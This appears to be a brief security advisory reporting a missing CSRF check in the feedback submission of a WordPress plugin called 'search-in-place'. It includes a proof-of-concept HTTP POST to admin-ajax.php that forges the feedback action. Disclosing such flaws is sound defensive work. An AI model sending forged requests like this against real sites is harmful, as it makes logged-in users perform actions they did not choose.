The plugin does not have Cross-Site Request Forgery (CSRF) check when submitting feedback, which could allow attackers to make logged in users do such action on their behalf via a Cross-Site Request Forgery (CSRF) attack.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=cp_feedback&feedback_plugin=search-in-place&cp_feedback_anonymous=false